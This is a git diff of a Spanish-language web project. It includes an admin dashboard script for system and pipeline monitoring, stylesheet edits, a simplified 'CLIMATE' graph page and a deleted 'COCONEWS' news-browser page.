tile('Memoria', human(memUsed) + ' <small>/ ' + human(h.totalmem) + '</small>', memPct, memCls) +
|
|
||||||
tile('Núcleos', h.cores + ' <small>CPU</small>', null) +
|
|
||||||
tile('Uptime', dur(h.uptime), null);
|
|
||||||
|
|
||||||
$('svcs').innerHTML = (d.services || []).map(function (s) {
|
|
||||||
return '<span class="svc ' + (s.active ? 'up' : 'down') + '">' + esc(s.name) + '</span>';
|
|
||||||
}).join('');
|
|
||||||
|
|
||||||
var procs = (d.procesos || []).slice().sort(function (a, b) { return b.cpu - a.cpu; });
|
|
||||||
var rows = '<div class="prow hdr"><span>proceso</span><span style="text-align:right">cpu%</span><span>cpu</span><span style="text-align:right">tiempo</span><span style="text-align:right">pid</span></div>';
|
|
||||||
rows += procs.map(function (p) {
|
|
||||||
var barCls = p.cpu > 100 ? 'warn' : '';
|
|
||||||
return '<div class="prow"><span class="name ' + (p.key === 'mongolo' ? 'viejo' : '') + '">' + esc(p.label) + '</span>' +
|
|
||||||
'<span class="cpu">' + p.cpu.toFixed(0) + '%</span>' +
|
|
||||||
'<span>' + meter(Math.min(100, p.cpu), barCls) + '</span>' +
|
|
||||||
'<span class="time">' + dur(p.etimes) + '</span>' +
|
|
||||||
'<span class="pid">' + p.pid + '</span></div>';
|
|
||||||
}).join('');
|
|
||||||
if (!procs.length) rows += '<div class="prow"><span class="name" style="color:var(--faint)">— sin procesos activos —</span></div>';
|
|
||||||
$('procs').innerHTML = rows;
|
|
||||||
|
|
||||||
var pr = d.progress, out = '';
|
|
||||||
if (pr) {
|
|
||||||
out += progItem('Leaks embebidos (embeddings)', pr.torrEmb, pr.torrTotal);
|
|
||||||
out += progItem('Noticias embebidas', pr.notiEmb, pr.notiTotal);
|
|
||||||
out += progItem('Feeds activos', pr.feedsAct, pr.feedsAct, pr.feedsFallo + ' con fallos');
|
|
||||||
var next = d.nextPipeline ? (d.nextPipeline > d.now ? 'en ' + dur((d.nextPipeline - d.now) / 1000) : 'inminente') : 'sin programar';
|
|
||||||
out += '<div class="kv"><span>chunks de embeddings: <b>' + pr.chunks.toLocaleString('es-ES') + '</b></span>' +
|
|
||||||
'<span>envíos nuevos: <b>' + pr.subsNuevos + '</b></span>' +
|
|
||||||
'<span>próximo pipeline: <b>' + next + '</b></span>' +
|
|
||||||
(pr.lastNoti ? '<span>última noticia: <b>' + rel(pr.lastNoti) + '</b></span>' : '') + '</div>';
|
|
||||||
}
|
|
||||||
$('prog').innerHTML = out;
|
|
||||||
}
|
|
||||||
function tile(k, v, pct, cls) {
|
|
||||||
return '<div class="tile"><div class="k">' + k + '</div><div class="v">' + v + '</div>' + (pct == null ? '' : meter(pct, cls)) + '</div>';
|
|
||||||
}
|
|
||||||
function progItem(lbl, val, total, extra) {
|
|
||||||
var pct = total ? (val / total * 100) : 0;
|
|
||||||
return '<div class="item"><div class="top"><span class="lbl">' + esc(lbl) + '</span>' +
|
|
||||||
'<span class="val"><b>' + val.toLocaleString('es-ES') + '</b> / ' + total.toLocaleString('es-ES') +
|
|
||||||
' · ' + pct.toFixed(0) + '%' + (extra ? ' · ' + esc(extra) : '') + '</span></div>' + meter(pct) + '</div>';
|
|
||||||
}
|
|
||||||
|
|
||||||
function markUpdated() { $('updated').textContent = 'actualizado ' + new Date().toLocaleTimeString('es-ES'); }
|
|
||||||
|
|
||||||
function switchTab(t) {
|
|
||||||
tab = t;
|
|
||||||
[].forEach.call(document.querySelectorAll('.tabs button'), function (b) { b.classList.toggle('active', b.dataset.tab === t); });
|
|
||||||
$('enviosView').style.display = t === 'envios' ? '' : 'none';
|
|
||||||
$('pipesView').style.display = t === 'pipelines' ? '' : 'none';
|
|
||||||
$('systemView').style.display = t === 'sistema' ? '' : 'none';
|
|
||||||
if (sysTimer) { clearInterval(sysTimer); sysTimer = null; }
|
|
||||||
if (t === 'sistema' || t === 'pipelines') {
|
|
||||||
loadSystem().catch(function (e) { alert(e.message); });
|
|
||||||
sysTimer = setInterval(function () { loadSystem().catch(function () {}); }, 4000);
|
|
||||||
} else { loadSubs().catch(function () {}); }
|
|
||||||
}
|
|
||||||
function refresh() { (tab === 'sistema' ? loadSystem() : loadSubs()).catch(function (e) { alert(e.message); }); }
|
|
||||||
|
|
||||||
/* ---------- eventos ---------- */
|
|
||||||
$('loginBtn').addEventListener('click', function () {
|
|
||||||
TOKEN = $('tokenInput').value.trim(); $('gateErr').textContent = '';
|
|
||||||
if (!TOKEN) { $('gateErr').textContent = 'Introduce el token.'; return; }
|
|
||||||
loadSubs().catch(function (e) { $('gateErr').textContent = e.message; showPanel(false); });
|
|
||||||
});
|
|
||||||
$('tokenInput').addEventListener('keydown', function (e) { if (e.key === 'Enter') $('loginBtn').click(); });
|
|
||||||
$('refreshBtn').addEventListener('click', refresh);
|
|
||||||
$('logoutBtn').addEventListener('click', function () { if (sysTimer) clearInterval(sysTimer); sysTimer = null; sessionStorage.removeItem('upl_admin_token'); TOKEN = ''; subsData = []; showPanel(false); $('tokenInput').value = ''; });
|
|
||||||
document.querySelector('.tabs').addEventListener('click', function (e) { if (e.target.dataset.tab) switchTab(e.target.dataset.tab); });
|
|
||||||
$('filters').addEventListener('click', function (e) { if (e.target.dataset.f) { filter = e.target.dataset.f; [].forEach.call(this.children, function (b) { b.classList.toggle('active', b.dataset.f === filter); }); renderSubs(); } });
|
|
||||||
$('list').addEventListener('click', function (e) {
|
|
||||||
var a = e.target.closest('a[data-file]'); if (a) { downloadFile(a.dataset.file, a.dataset.name); return; }
|
|
||||||
var b = e.target.closest('button[data-act]'); if (b) setEstado(b.dataset.ref, b.dataset.act);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (TOKEN) loadSubs().catch(function () { showPanel(false); });
|
|
||||||
})();
|
|
||||||
</script>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
|
|
@ -1,6 +1,10 @@
|
||||||
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face.
|
@font-face {
|
||||||
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en
|
font-family: "Retrolift";
|
||||||
fonts/ y anade aqui la regla con una ruta relativa. */
|
src: url("fonts/retrolift.woff2") format("woff2"),
|
||||||
|
url("fonts/retrolift.woff") format("woff");
|
||||||
|
font-weight: normal;
|
||||||
|
font-style: normal;
|
||||||
|
}
|
||||||
|
|
||||||
* {
|
* {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
|
|
@ -251,28 +255,6 @@ nav {
|
||||||
background: #ff6600;
|
background: #ff6600;
|
||||||
}
|
}
|
||||||
|
|
||||||
#sidebar select {
|
|
||||||
padding: 10px;
|
|
||||||
border: 2px solid #39ff14;
|
|
||||||
background: black;
|
|
||||||
color: #39ff14;
|
|
||||||
border-radius: 5px;
|
|
||||||
box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.2);
|
|
||||||
transition: box-shadow 0.3s ease;
|
|
||||||
appearance: none;
|
|
||||||
cursor: pointer;
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
font-size: 0.85em;
|
|
||||||
}
|
|
||||||
#sidebar select:hover { box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.3); }
|
|
||||||
#sidebar select option { background: #0a0a0a; color: #39ff14; }
|
|
||||||
#sidebar .sim-val {
|
|
||||||
font-weight: bold;
|
|
||||||
color: #fff;
|
|
||||||
background: rgba(57,255,20,0.15);
|
|
||||||
border-radius: 3px;
|
|
||||||
padding: 0 4px;
|
|
||||||
}
|
|
||||||
|
|
||||||
footer {
|
footer {
|
||||||
width: 100%;
|
width: 100%;
|
||||||
|
|
@ -348,54 +330,3 @@ footer p {
|
||||||
z-index: 1;
|
z-index: 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/* ===== Panel de detalle (split-screen) ===== */
|
|
||||||
main.split-screen { display: flex; height: 100vh; }
|
|
||||||
#graphPanel { flex: 1; position: relative; min-width: 0; transition: flex 0.3s ease; }
|
|
||||||
#detailPanel {
|
|
||||||
width: 0; max-width: 0; overflow: hidden;
|
|
||||||
transition: width 0.3s ease, max-width 0.3s ease;
|
|
||||||
background: #0a0a0a; color: #fff;
|
|
||||||
position: relative; z-index: 4;
|
|
||||||
box-shadow: inset 2px 0 10px rgba(0,0,0,0.6);
|
|
||||||
}
|
|
||||||
main.split-screen.show-detail #detailPanel { width: 50%; max-width: 50%; }
|
|
||||||
|
|
||||||
#closeDetail {
|
|
||||||
position: absolute; top: 12px; left: 12px;
|
|
||||||
background: rgba(0,0,0,0.85); border: 1px solid #39ff14;
|
|
||||||
color: #39ff14; font-size: 1em; font-family: 'Fira Code', monospace;
|
|
||||||
cursor: pointer; border-radius: 4px; padding: 4px 12px; z-index: 10;
|
|
||||||
transition: background 0.2s;
|
|
||||||
}
|
|
||||||
#closeDetail:hover { background: rgba(57,255,20,0.15); }
|
|
||||||
|
|
||||||
#detailContent {
|
|
||||||
padding: 52px 18px 20px; overflow-y: auto;
|
|
||||||
height: 100%; box-sizing: border-box;
|
|
||||||
display: none; flex-direction: column;
|
|
||||||
}
|
|
||||||
main.split-screen.show-detail #detailContent { display: flex; }
|
|
||||||
|
|
||||||
.detail-meta { display: flex; justify-content: space-between; font-size: 0.72em; color: #39ff14; opacity: 0.75; margin-bottom: 6px; gap: 8px; }
|
|
||||||
.detail-author { font-weight: bold; }
|
|
||||||
.detail-date { text-align: right; white-space: nowrap; }
|
|
||||||
.detail-title { font-size: 0.92em; color: #39ff14; margin: 0 0 12px; word-break: break-word; line-height: 1.3; }
|
|
||||||
|
|
||||||
.detail-relations { border-top: 1px solid rgba(57,255,20,0.25); border-bottom: 1px solid rgba(57,255,20,0.25); padding: 8px 0; margin-bottom: 14px; font-size: 0.78em; flex-shrink: 0; }
|
|
||||||
.relations-count { color: rgba(57,255,20,0.8); display: block; margin-bottom: 6px; }
|
|
||||||
.relations-nav { display: flex; align-items: center; gap: 6px; }
|
|
||||||
.relations-nav button { background: none; border: 1px solid #39ff14; color: #39ff14; cursor: pointer; padding: 3px 8px; border-radius: 3px; font-family: 'Fira Code', monospace; font-size: 0.85em; white-space: nowrap; transition: background 0.2s; }
|
|
||||||
.relations-nav button:hover:not(:disabled) { background: rgba(57,255,20,0.12); }
|
|
||||||
.relations-nav button:disabled { opacity: 0.3; cursor: default; }
|
|
||||||
#relationLabel { flex: 1; text-align: center; color: rgba(255,255,255,0.55); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.85em; }
|
|
||||||
|
|
||||||
.detail-body { flex: 1; overflow-y: auto; white-space: pre-wrap; line-height: 1.55; font-size: 0.78em; color: #e0e0e0; font-family: 'Fira Code', monospace; min-height: 0; }
|
|
||||||
.detail-img { width: 100%; max-height: 180px; object-fit: contain; margin-bottom: 12px; border: 1px solid rgba(57,255,20,0.3); border-radius: 3px; }
|
|
||||||
#detailPanel .placeholder { color: rgba(255,255,255,0.3); font-style: italic; padding: 40px 20px; text-align: center; font-size: 0.85em; }
|
|
||||||
|
|
||||||
@media (max-width: 768px) {
|
|
||||||
main.split-screen.show-detail #graphPanel { display: none; }
|
|
||||||
main.split-screen.show-detail #detailPanel { width: 100%; max-width: 100%; }
|
|
||||||
}
|
|
||||||
|
|
|
||||||
|
|
@ -1,88 +1,29 @@
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="es">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<title>CLIMATE</title>
|
<title>CLIMATE</title>
|
||||||
<link rel="stylesheet" href="climate.css">
|
<link rel="stylesheet" href="climate.css">
|
||||||
<link rel="stylesheet" href="sub-nav.css">
|
|
||||||
<!-- Fuentes de Google Fonts -->
|
<!-- Fuentes de Google Fonts -->
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||||
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet">
|
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet">
|
||||||
|
|
||||||
|
<!-- Cargar 3d-force-graph (incluye Three.js) -->
|
||||||
|
<!-- CORRECTO: d3 primero, force-graph después -->
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
||||||
<script type="importmap">
|
<script src="https://unpkg.com/3d-force-graph"></script>
|
||||||
{ "imports": { "three": "https://esm.sh/three@0.179.0", "three/": "https://esm.sh/three@0.179.0/" } }
|
|
||||||
</script>
|
|
||||||
|
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
|
|
||||||
<nav class="top-nav">
|
<nav>
|
||||||
<div class="section-buttons">
|
<ul class="nav-links">
|
||||||
|
<li><a href="climate.html" class="climate">CLIMATE</a></li>
|
||||||
<div class="section-item">
|
</ul>
|
||||||
<a href="glob-war.html" class="section-btn glob-war-btn">GLOB-WAR</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="int-sec.html" class="section-btn int-sec-btn">INT-SEC</a>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="section-item current">
|
|
||||||
<a href="climate.html" class="section-btn climate-btn">CLIMATE <span class="dropdown-arrow">▾</span></a>
|
|
||||||
<div class="section-dropdown">
|
|
||||||
<a href="#" onclick="setSubtema('cambio climático');return false;">Cambio Climático</a>
|
|
||||||
<a href="#" onclick="setSubtema('desastres naturales');return false;">Desastres Naturales</a>
|
|
||||||
<a href="#" onclick="setSubtema('conservación');return false;">Conservación</a>
|
|
||||||
<a href="#" onclick="setSubtema('energía renovable');return false;">Energía Renovable</a>
|
|
||||||
<a href="#" onclick="setSubtema('contaminacion');return false;">Escasez de Agua</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="eco-corp.html" class="section-btn eco-corp-btn">ECO-CORP</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="popl-up.html" class="section-btn popl-up-btn">POPL-UP</a>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</div>
|
|
||||||
</nav>
|
</nav>
|
||||||
|
|
||||||
<script>
|
<main>
|
||||||
function setSubtema(val) {
|
|
||||||
var sel = document.getElementById('param2');
|
|
||||||
if (sel) { sel.value = val; }
|
|
||||||
var form = document.getElementById('paramForm');
|
|
||||||
if (form) form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
|
|
||||||
}
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
/* ── Dropdown touch (móvil) ── */
|
|
||||||
var curr = document.querySelector('.section-item.current');
|
|
||||||
if (curr) {
|
|
||||||
curr.querySelector('.section-btn').addEventListener('touchend', function(e) {
|
|
||||||
e.preventDefault();
|
|
||||||
curr.classList.toggle('open');
|
|
||||||
});
|
|
||||||
document.addEventListener('touchend', function(e) {
|
|
||||||
if (!curr.contains(e.target)) curr.classList.remove('open');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
/* ── Sidebar: botón toggle visible en móvil ── */
|
|
||||||
var toggle = document.getElementById('sidebarToggle');
|
|
||||||
var sidebar = document.getElementById('sidebar');
|
|
||||||
if (toggle && sidebar) {
|
|
||||||
toggle.style.display = 'block';
|
|
||||||
toggle.addEventListener('click', function() {
|
|
||||||
sidebar.classList.toggle('active');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<main class="split-screen">
|
|
||||||
<div id="graphPanel" style="position:relative;">
|
|
||||||
<button id="volverGrafoBtn">← Volver al grafo completo</button>
|
|
||||||
<div id="climateContainer" style="position: absolute; width: 100%; height: 100%;"></div>
|
<div id="climateContainer" style="position: absolute; width: 100%; height: 100%;"></div>
|
||||||
<div class="background">
|
<div class="background">
|
||||||
<img src="/images/flujos6.jpg">
|
<img src="/images/flujos6.jpg">
|
||||||
|
|
@ -98,26 +39,8 @@
|
||||||
}, 1000);
|
}, 1000);
|
||||||
</script>
|
</script>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
|
||||||
<div id="detailPanel">
|
|
||||||
<button id="closeDetail">✕ cerrar</button>
|
|
||||||
<div id="detailContent">
|
|
||||||
<div class="detail-meta">
|
|
||||||
<span class="detail-author"></span>
|
|
||||||
<span class="detail-date"></span>
|
|
||||||
</div>
|
|
||||||
<h2 class="detail-title"></h2>
|
|
||||||
<div class="detail-relations">
|
|
||||||
<span class="relations-count"></span>
|
|
||||||
<div class="relations-nav">
|
|
||||||
<button id="prevRelation" disabled>← ant</button>
|
|
||||||
<span id="relationLabel"></span>
|
|
||||||
<button id="nextRelation" disabled>sig →</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="detail-body"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</main>
|
</main>
|
||||||
|
|
||||||
<div id="sidebar">
|
<div id="sidebar">
|
||||||
|
|
@ -131,23 +54,22 @@
|
||||||
<input type="date" id="fecha_fin" name="fecha_fin">
|
<input type="date" id="fecha_fin" name="fecha_fin">
|
||||||
|
|
||||||
<label for="nodos">Nodos:</label>
|
<label for="nodos">Nodos:</label>
|
||||||
<input type="number" id="nodos" name="nodos" value="100" min="5" max="500">
|
<input type="number" id="nodos" name="nodos" value="100">
|
||||||
|
|
||||||
<label for="complejidad">% similitud: <span id="complejidadVal" class="sim-val">8</span></label>
|
<label for="complejidad">Complejidad:</label>
|
||||||
<input type="range" id="complejidad" name="complejidad" min="1" max="25" value="8"
|
<input type="range" id="complejidad" name="complejidad" min="1" max="40" value="20">
|
||||||
oninput="document.getElementById('complejidadVal').textContent = this.value">
|
|
||||||
|
|
||||||
<label for="param1">Palabra clave:</label>
|
<label for="param1">Búsqueda por palabra:</label>
|
||||||
<input type="text" id="param1" name="param1" placeholder="ej: glaciares, CO2...">
|
<input type="text" id="param1" name="param1">
|
||||||
|
|
||||||
<label for="param2">Subtematica:</label>
|
<label for="color1">Color 1:</label>
|
||||||
<select id="param2" name="param2">
|
<input type="color" id="color1" name="color1">
|
||||||
<option value="">— Todas —</option>
|
|
||||||
<option value="conservación">conservación</option>
|
<label for="param2">Búsqueda por temática personalizada:</label>
|
||||||
<option value="cambio climático">cambio climático</option>
|
<input type="text" id="param2" name="param2">
|
||||||
<option value="energía renovable">energía renovable</option>
|
|
||||||
<option value="desastres naturales">desastres naturales</option>
|
<label for="color2">Color 2:</label>
|
||||||
</select>
|
<input type="color" id="color2" name="color2">
|
||||||
|
|
||||||
<input type="submit" value="Aplicar">
|
<input type="submit" value="Aplicar">
|
||||||
</form>
|
</form>
|
||||||
|
|
@ -155,8 +77,11 @@
|
||||||
|
|
||||||
<button id="sidebarToggle">Toggle Sidebar</button>
|
<button id="sidebarToggle">Toggle Sidebar</button>
|
||||||
|
|
||||||
|
<footer>
|
||||||
|
<p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#">Web de Tor</a></p>
|
||||||
|
</footer>
|
||||||
|
|
||||||
<!-- Movemos la inclusión del script aquí, al final del body -->
|
<!-- Movemos la inclusión del script aquí, al final del body -->
|
||||||
<script src="semana-toggle.js"></script>
|
<script src="output_climate_pruebas.js"></script>
|
||||||
<script type="module" src="output_climate_pruebas.js"></script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
|
||||||
|
|
@ -1,394 +0,0 @@
|
||||||
<!DOCTYPE html>
|
|
||||||
<html lang="es">
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
||||||
<title>COCONEWS</title>
|
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
|
||||||
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&family=Oswald:wght@400;600;700&display=swap" rel="stylesheet">
|
|
||||||
<link rel="stylesheet" href="style.css">
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
|
|
||||||
<header>
|
|
||||||
<div class="header-inner">
|
|
||||||
<a href="/" class="back-link">← FLUJOS</a>
|
|
||||||
<div class="logo">COCO<span>NEWS</span></div>
|
|
||||||
<div class="header-tabs">
|
|
||||||
<button class="tab-btn active" data-tab="news">NOTICIAS</button>
|
|
||||||
<button class="tab-btn" data-tab="entities">ENTIDADES</button>
|
|
||||||
<button class="tab-btn" data-tab="feeds">FEEDS</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</header>
|
|
||||||
|
|
||||||
<div class="stats-bar" id="statsBar">
|
|
||||||
<div class="stat-item"><span class="stat-val" id="statTotal">—</span><span class="stat-label">noticias</span></div>
|
|
||||||
<div class="stat-sep">|</div>
|
|
||||||
<div class="stat-item"><span class="stat-val" id="statHoy">—</span><span class="stat-label">hoy</span></div>
|
|
||||||
<div class="stat-sep">|</div>
|
|
||||||
<div class="stat-item"><span class="stat-val" id="statFeeds">—</span><span class="stat-label">feeds</span></div>
|
|
||||||
<div class="stat-sep">|</div>
|
|
||||||
<div class="stat-item"><span class="stat-val" id="statTrad">—</span><span class="stat-label">traducidas</span></div>
|
|
||||||
<div class="stat-sep">|</div>
|
|
||||||
<div class="stat-item"><span class="stat-val" id="statNer">—</span><span class="stat-label">con NER</span></div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- TAB: NOTICIAS -->
|
|
||||||
<div class="tab-content active" id="tab-news">
|
|
||||||
<div class="layout">
|
|
||||||
<aside class="sidebar">
|
|
||||||
<div class="filter-group">
|
|
||||||
<label>BUSCAR</label>
|
|
||||||
<input type="text" id="searchInput" placeholder="palabra clave...">
|
|
||||||
</div>
|
|
||||||
<div class="filter-group">
|
|
||||||
<label>TEMA</label>
|
|
||||||
<select id="temaSelect">
|
|
||||||
<option value="">— todos —</option>
|
|
||||||
</select>
|
|
||||||
</div>
|
|
||||||
<div class="filter-group">
|
|
||||||
<label>PAÍS / REGIÓN</label>
|
|
||||||
<input type="text" id="paisInput" placeholder="ej: Rusia, China...">
|
|
||||||
</div>
|
|
||||||
<div class="filter-group">
|
|
||||||
<label>ENTIDAD</label>
|
|
||||||
<input type="text" id="entidadInput" placeholder="persona u organización...">
|
|
||||||
</div>
|
|
||||||
<div class="btn-row">
|
|
||||||
<button id="applyBtn">APLICAR</button>
|
|
||||||
<button id="resetBtn" class="btn-sec">RESET</button>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="sidebar-section">
|
|
||||||
<div class="sidebar-title">TOP TEMAS</div>
|
|
||||||
<div id="temasBars"></div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="sidebar-section">
|
|
||||||
<div class="sidebar-title">IDIOMAS</div>
|
|
||||||
<div id="idiomasBars"></div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="pagination">
|
|
||||||
<button id="prevBtn" disabled>← PREV</button>
|
|
||||||
<span id="pageInfo">1 / 1</span>
|
|
||||||
<button id="nextBtn">NEXT →</button>
|
|
||||||
</div>
|
|
||||||
</aside>
|
|
||||||
|
|
||||||
<section class="news-grid" id="newsGrid">
|
|
||||||
<div class="loading">cargando...</div>
|
|
||||||
</section>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- TAB: ENTIDADES -->
|
|
||||||
<div class="tab-content" id="tab-entities">
|
|
||||||
<div class="entities-layout">
|
|
||||||
<div class="entity-panel">
|
|
||||||
<div class="entity-panel-header">
|
|
||||||
<span>PERSONAS</span>
|
|
||||||
<div class="tipo-tabs">
|
|
||||||
<button class="tipo-btn active" data-tipo="persona">PERSONAS</button>
|
|
||||||
<button class="tipo-btn" data-tipo="organizacion">ORGS</button>
|
|
||||||
<button class="tipo-btn" data-tipo="lugar">LUGARES</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div id="entidadesList" class="entities-list"></div>
|
|
||||||
</div>
|
|
||||||
<div class="entity-news">
|
|
||||||
<div id="entityNewsTitle" class="entity-news-title">Selecciona una entidad</div>
|
|
||||||
<div id="entityNewsGrid" class="news-grid"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- TAB: FEEDS -->
|
|
||||||
<div class="tab-content" id="tab-feeds">
|
|
||||||
<div class="feeds-container">
|
|
||||||
<div id="feedsList" class="feeds-list"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
const API = '/coconews/api';
|
|
||||||
let currentPage = 1;
|
|
||||||
let totalPages = 1;
|
|
||||||
let currentFilters = {};
|
|
||||||
let currentTipo = 'persona';
|
|
||||||
|
|
||||||
// ── TABS ──────────────────────────────────────────────────────────────────
|
|
||||||
document.querySelectorAll('.tab-btn').forEach(btn => {
|
|
||||||
btn.addEventListener('click', () => {
|
|
||||||
document.querySelectorAll('.tab-btn').forEach(b => b.classList.remove('active'));
|
|
||||||
document.querySelectorAll('.tab-content').forEach(t => t.classList.remove('active'));
|
|
||||||
btn.classList.add('active');
|
|
||||||
document.getElementById('tab-' + btn.dataset.tab).classList.add('active');
|
|
||||||
if (btn.dataset.tab === 'entities') loadEntidades(currentTipo);
|
|
||||||
if (btn.dataset.tab === 'feeds') loadFeeds();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
document.querySelectorAll('.tipo-btn').forEach(btn => {
|
|
||||||
btn.addEventListener('click', () => {
|
|
||||||
document.querySelectorAll('.tipo-btn').forEach(b => b.classList.remove('active'));
|
|
||||||
btn.classList.add('active');
|
|
||||||
currentTipo = btn.dataset.tipo;
|
|
||||||
loadEntidades(currentTipo);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── UTILS ─────────────────────────────────────────────────────────────────
|
|
||||||
async function fetchJSON(url) {
|
|
||||||
const r = await fetch(url);
|
|
||||||
if (!r.ok) throw new Error(r.statusText);
|
|
||||||
return r.json();
|
|
||||||
}
|
|
||||||
|
|
||||||
function fmtDate(d) {
|
|
||||||
if (!d) return '';
|
|
||||||
return new Date(d).toLocaleDateString('es-ES', { day: '2-digit', month: 'short', year: 'numeric' });
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── STATS ─────────────────────────────────────────────────────────────────
|
|
||||||
async function loadStats() {
|
|
||||||
try {
|
|
||||||
const s = await fetchJSON(`${API}/stats`);
|
|
||||||
document.getElementById('statTotal').textContent = s.total_news.toLocaleString();
|
|
||||||
document.getElementById('statHoy').textContent = s.hoy;
|
|
||||||
document.getElementById('statFeeds').textContent = s.feeds_activos;
|
|
||||||
document.getElementById('statTrad').textContent = s.traducidas.toLocaleString();
|
|
||||||
document.getElementById('statNer').textContent = (s.con_ner || 0).toLocaleString();
|
|
||||||
|
|
||||||
renderBars('temasBars', s.por_tema, s.traducidas, (item) => {
|
|
||||||
document.getElementById('temaSelect').value = item._id;
|
|
||||||
currentFilters.tema = item._id;
|
|
||||||
loadNews(1);
|
|
||||||
});
|
|
||||||
renderBars('idiomasBars', s.por_idioma, s.traducidas);
|
|
||||||
} catch(e) { console.warn('Stats:', e); }
|
|
||||||
}
|
|
||||||
|
|
||||||
function renderBars(containerId, items, total, onClick) {
|
|
||||||
const el = document.getElementById(containerId);
|
|
||||||
if (!items || !items.length) { el.innerHTML = '<div class="empty-bar">—</div>'; return; }
|
|
||||||
el.innerHTML = items.slice(0, 8).map(item => {
|
|
||||||
const pct = total > 0 ? Math.round((item.count / total) * 100) : 0;
|
|
||||||
const cursor = onClick ? 'style="cursor:pointer"' : '';
|
|
||||||
return `
|
|
||||||
<div class="bar-row" ${cursor} data-id="${item._id}">
|
|
||||||
<span class="bar-label">${item._id || '?'}</span>
|
|
||||||
<div class="bar-track"><div class="bar-fill" style="width:${pct}%"></div></div>
|
|
||||||
<span class="bar-count">${item.count}</span>
|
|
||||||
</div>`;
|
|
||||||
}).join('');
|
|
||||||
if (onClick) {
|
|
||||||
el.querySelectorAll('.bar-row').forEach(row => {
|
|
||||||
row.addEventListener('click', () => onClick({ _id: row.dataset.id }));
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── TEMAS SELECT ──────────────────────────────────────────────────────────
|
|
||||||
async function loadTemas() {
|
|
||||||
try {
|
|
||||||
const temas = await fetchJSON(`${API}/temas`);
|
|
||||||
const sel = document.getElementById('temaSelect');
|
|
||||||
temas.forEach(t => {
|
|
||||||
const opt = document.createElement('option');
|
|
||||||
opt.value = t; opt.textContent = t;
|
|
||||||
sel.appendChild(opt);
|
|
||||||
});
|
|
||||||
} catch(e) { console.warn('Temas:', e); }
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── NEWS CARDS ────────────────────────────────────────────────────────────
|
|
||||||
function buildCard(n) {
|
|
||||||
const texto = n.texto || n.titulo_original || '';
|
|
||||||
const titulo = texto.split('\n')[0].slice(0, 130);
|
|
||||||
const resumen = texto.split('\n').slice(2).join(' ').slice(0, 220);
|
|
||||||
const img = n.imagen_url
|
|
||||||
? `<div class="card-img"><img src="${n.imagen_url}" alt="" loading="lazy" onerror="this.parentElement.style.display='none'"></div>`
|
|
||||||
: '';
|
|
||||||
const entidades = (n.entidades || []).slice(0, 4).map(e =>
|
|
||||||
`<span class="ent-tag ent-${e.tipo}" title="${e.tipo}">${e.texto}</span>`
|
|
||||||
).join('');
|
|
